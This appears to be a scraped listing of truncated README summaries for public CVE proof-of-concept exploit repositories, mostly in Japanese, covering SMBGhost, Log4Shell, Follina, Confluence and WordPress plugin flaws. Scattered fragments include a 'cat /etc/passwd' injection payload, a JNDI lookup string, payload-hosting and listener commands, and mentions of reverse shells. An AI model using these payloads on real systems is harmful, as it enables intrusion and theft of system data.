CVE-2020-0796

CVE-2020-0796 リモートコード実行 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 攻撃者のミスを見つける CVE-2020-0796 / "SMBGhost" のリモートコード実行 POC 期待される結果: システムアクセスを伴うリバースシェル。 企業環境での教育およびテスト目的のみを意図しています。 ZecOps は本コードについて一切の責任を負いません。ご自身の責任でご使用ください。 SMBGhost やその他の攻撃を自動的に検出するための、サーバー、エンドポイント、モバイルデバイス向けのエージェントレス DFIR...

CVE-2022-28113

Fantec MWiD25-DS CVE-2022-28113 の解説 著: @code-byter ========================== これは、Fantec MWiD25-DS Travel Router（ファームウェアバージョン 2.000.030）のエクスプロイトに関する解説です。 この脆弱性により、権限のないユーザーが root...

CVE-2020-12078

CVE-2020-12078 Open-AudIT v3.3.1 リモートコード実行 CVE-2020-12078 の公式エクスプロイト...

Thunderstorm

Thunderstorm Thunderstorm はUPSデバイスを悪用するためのモジュラーフレームワークです。 現時点では、CS-141 および NetMan 204 のエクスプロイトのみが利用可能です。フレームワークのベータ版は将来リリースされる予定です。 CVE Thunderstorm は現在、以下の CVE を悪用することができます： CVE-2022-47186 – 制限なしファイルアップロード CS-141 CVE-2022-47187 – ファイルアップロードによるクロスサイトスクリプティング CS-141 CVE-2022-47188 –...

CVE-2018-5767-AC9

研究および著者 David Baker 記事: エクスプロイトにもパッチが必要な時がある！アドレス変更を乗り越える 外部リンク CVE-2018-5767-AC9 CVE-2018-5767 https://vulners.com/cve/CVE-2018-5767 の概念実証実装 root@kitploit: 以下は CVE-2018-5767 の具現化であり、パスワードの 'Cookie' ヘッダーを解析する際に発生する、保護されていない sscanf 呼び出しを悪用する脆弱性です。この脆弱性は当初、AC15...

CVE-2023-36664-Ghostscript-command-injection

Ghostscript コマンドインジェクション脆弱性 PoC CVE-2023-36664 バージョン 10.01.2 より前の Ghostscript で公開された脆弱性により、コード実行が可能になります CVSS スコア 9.8。 公式の脆弱性の説明: Artifex Ghostscript 10.01.2 までは、パイプデバイス %pipe% プレフィックスまたは | パイプ文字プレフィックス の権限検証を誤って処理します。 Debian は、任意のコマンド実行の可能性に言及したセキュリティ勧告を公開しました: 「GPL PostScript/PDF インタープリターである...

detect-CVE-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark I. CVE-2019-15107 の概要 Webmin は Unix システム管理のための Web ベースのインターフェースです。任意の Web ブラウザを使用して、ユーザーアカウント、Apache、DNS、ファイル共有などを設定できます。 2019年8月10日、トルコのサイバーセキュリティ研究者 Özkan Mustafa Akkuş 氏は DefCon でゼロデイ脆弱性を公表しました。Akkuş 氏は脆弱性の公表に加えて、この脆弱性の悪用を自動化する Metasploit...

opsxcq-cve-2016-10033

PHPMailer 5.2.18 远程代码执行 PHPMailer 是世界上最流行的传输类库，全球预估有 900 万用户。每日下载量持续可观。被众多开源项目使用：WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla! 等等。 版本 5.2.18 之前的 PHPMailer 存在一个可能导致远程代码执行（RCE）的漏洞。当 Sender 属性未设置时，isMail 传输中的 mailSend 函数可能允许远程攻击者向 mail 命令传递额外参数，从而通过精心构造的 From 地址中的 "（反斜杠双引号）执行任意代码。 漏洞环境 要为测试搭建一个漏洞环境，你需要...

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPressプラグイン RCE system'cat /etc/passwd' ✅ ステップ2 – Python HTTPサーバーを起動 Pythonを使用してペイロードを提供します： root@kitploit: python3 -m http.server 8000 これにより、payload.txtが次のURLでアクセス可能になります：...

CVE-2023-46304

CVE-2023-46304 VTiger Open Source CRM v7.5 における認証済みリモートコード実行 概要 VTiger CRM Open Source バージョン 7.5.0 の現在のリリースの Users モジュールには、認証された攻撃者が config.inc.php に任意の PHP コードを書き込んで実行できるようにする脆弱性が存在します。 エクスプロイトの詳細 ユーザーが通常どおり VTiger に認証されると、VTiger...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator 概要 このツールを使用すると、ユーザーが指定したJavaおよびLog4Jのバージョンについて、単純なJava WebアプリケーションがCVE-2021-44228に対して脆弱であるかどうかを検証できます。 また、オプションで事前定義されたいくつかの緩和策のいずれかを適用することもできます。 log4shellvalidator.pyによって起動されるシミュレーションラボは、docker-composeを使用してlog4jの脆弱性を悪用し、脆弱なマシン上でRCEを獲得することをシミュレートします。 動作の仕組み...

CVE-2022-26134

CVE-2022-26134 PoC !WARNING 法的免責事項: このツールは教育目的のみに厳密に使用してください! 事前に相互の同意なしに標的への攻撃にこのツールを使用することは違法です。 このツールの使用中に適用されるすべての法律を遵守する責任は利用者にあります。 このツールの開発者は、いかなる誤用やこのプログラムによって引き起こされた損害についても 責任を負わず、一切の賠償責任を負いません。 本 CVE について: 影響を受けるバージョンの Confluence Server および Data Center には、OGNL...

CVE-2025-13486

一括エクスプロイト CVE-2025-13486 Advanced Custom Fields: Extended 0.9.0.5 - 0.9.1.1 - prepareform における未認証リモートコード実行 ⚠️ 脆弱性の詳細 WordPress 向けプラグイン Advanced Custom Fields: Extended は、バージョン 0.9.0.5 から 0.9.1.1 において、prepareform 関数を介したリモートコード実行の脆弱性の影響を受けます。これは、この関数がユーザー入力を受け入れ、その入力を calluserfuncarray...

CVE-2022-22947-Rce_POC

CVE-2022-22947-RcePOC バッチURL検出Spring-Cloud-Gateway-CVE-2022-22947 使い方 py Spring-Cloud-Gateway.py UrlsPath 実行後、gateway.logファイルが生成されます。"+"、"-"、""はそれぞれ存在、不存在、リクエスト異常を表します。...

CVE-2024-7029

AvTechデバイスにおけるCVE-2024-7029を悪用するためのPoCツール 🎤 README翻訳 English فارسی 📸 スクリーンショット 💎 はじめに CVE-2024-7029は、AVTechデバイスにおける深刻なセキュリティ問題を浮き彫りにしており、攻撃者は認証をバイパスしてリモートで任意のコマンドを実行できます。この脆弱性は、影響を受けるネットワークの完全性とセキュリティに深刻なリスクをもたらします。 💀 脆弱性の概要...

gollina

root@kitploit: $ gollina -h gollina Follina MS-MSDT 0-day MS Office RCE PoC in Go -- @dwisiswant0 Usage: gollina -c COMMAND OPTIONS... Options: -h, --host Listener host default: 0.0.0.0 -p, --port Listener port default: 8090 -n, --name Word file name w/o extension, default: gollina -c, --command...

CVE-2021-44228-PoC

CVE-2021-44228 PoC CVE-2021-44228 の PoC。 このプロジェクトは教育目的のみで作成されました。 エクスプロイトサーバー このプロジェクトは、http サーバーと ldap サーバーの 2 つを作成します。両方ともエクスプロイトが動作するために必要です。指定された Java ファイルがコンパイルされ、Dockerfile 内でサーバーが起動されます。ペイロードはユーザーに表示され、脆弱なアプリケーションに渡す必要があります。 ペイロードの例: root@kitploit: $jndi:ldap//127.0.0.1:1389/a 実行方法 バインドシェル...

CVE-2024-42640

CVE-2024-42640 angular-bug CVE-2024-42640 通过 Angular-Base64-Upload 库实现的未认证远程代码执行 更多详情：博客 简介 angular-base64-upload v0.1.21 之前的版本容易受到通过 angular-base64-upload/demo/server.php 端点进行的未认证远程代码执行攻击。利用此漏洞，攻击者可以向服务器上传任意文件内容，随后可通过 angular-base64-upload/demo/uploads 端点访问这些文件。这会导致先前上传的内容被执行，并最终使攻击者能够在服务器上实现代码执...

Pyrescom-Termod-PoC

Pyrescom-Termod-PoC これは、Outpost24 Ghost Labs の Jonas Mattsson 氏と Hugo van den Toorn 氏によって発見された 3 つの脆弱性に対する実証コード PoC です。これらの脆弱性は、Pyrescom Termod4 タイムコントロールマシンの Web サーバーコンポーネントで発見されました。これらの脆弱性は連鎖的に悪用可能であり、リモートの攻撃者が認証をバイパスし、ローカルファイルシステムのファイルを読み取り、任意のコマンドを実行することを可能にします。これらの脆弱性は以下の CVE ID...

log4j-CVE-2021-4104

HEAD Log4jShell1.x Log4j RCE 1.x PoC 攻撃 制限事項 1. ターゲットが JMS 環境を持っていること 2. log4j.properties ファイルを変更するためのアクセス権を取得する必要があること 結論 log4shell 2.x ほど有用ではない Log4shell トピック https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j reapoc への貢献を歓迎します https://github.com/cckuailong/reapoc...